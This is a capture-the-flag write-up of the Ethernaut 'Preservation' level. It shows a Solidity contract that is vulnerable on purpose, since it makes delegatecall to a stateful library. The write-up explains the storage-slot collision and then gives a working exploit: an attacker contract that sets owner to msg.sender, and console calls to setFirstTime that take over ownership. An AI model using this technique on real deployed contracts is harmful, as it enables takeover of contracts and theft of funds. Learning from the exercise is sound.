ctfwriteup.com
Search
K

Preservation

delegatecall and storage

Description

This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.
The goal of this level is for you to claim ownership of the instance you are given.
Things that might help
  • Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope.
  • Understanding what it means for delegatecall to be context-preserving.
  • Understanding how storage variables are stored and accessed.
  • Understanding how casting works between different data types.

Background Knowledge

https://medium.com/coinmonks/ethernaut-lvl-16-preservation-walkthrough-how-to-inject-malicious-contracts-with-delegatecall-81e071f98a12

Code Audit

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
Recall that:
  • Delegate call is a special, low level function call intended to invoke functions from another, often library, contract.
  • If Contract A makes a delegatecall to Contract B, it allows Contract B to freely mutate its storage A, given Contract B’s relative storage reference pointers.
In this challenge, LibraryContract::setTime() modifies the state variable at slot 0. In a delegatecall scenario such as Preservation::setFirstTime(), it is going to modify the state variable at slot 0 in contract Preservation, that is, timeZone1Library.
Now we know that timeZOne1Library is controllable, we can deploy a malicious contract that has the same storage layout as Preservation and contains a function named setTime(). This malicious setTime() function should modify the state variable at slot 2. When Preservation::setFirstTime() is called again, it is going to change the state variable at slot 2 in contract Preservation, that is, owner. And we are done.

Solution

Step 1: In Remix, deploy the following malicious contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract PreservationHack {
address public timeZone1Library; // slot 0
address public timeZone2Library; // slot 1
address public owner; // slot 2
uint storedTime; // slot 3
function setTime(uint256 _time) public {
owner = msg.sender;
}
}
Step 2: Invoke setFirstTime(<malicious_contract_address>):
await contract.setFirstTime('<malicious_contract_address>')
Now tiemZone1Library should be updated to malicious contract's address:
await contract.timeZone1Library()
Step 3: Invoke setFirstTime() again with some random uint256 such as 1337:
await contract.setFirstTime(1337)
Now owner should be updated to your Metamask wallet's address:
await contract.owner()

Summary

As the previous level, delegate mentions, the use of delegatecall to call libraries can be risky. This is particularly true for contract libraries that have their own state. This example demonstrates why the library keyword should be used for building libraries, as it prevents the libraries from storing and accessing state variables.
Last modified 6mo ago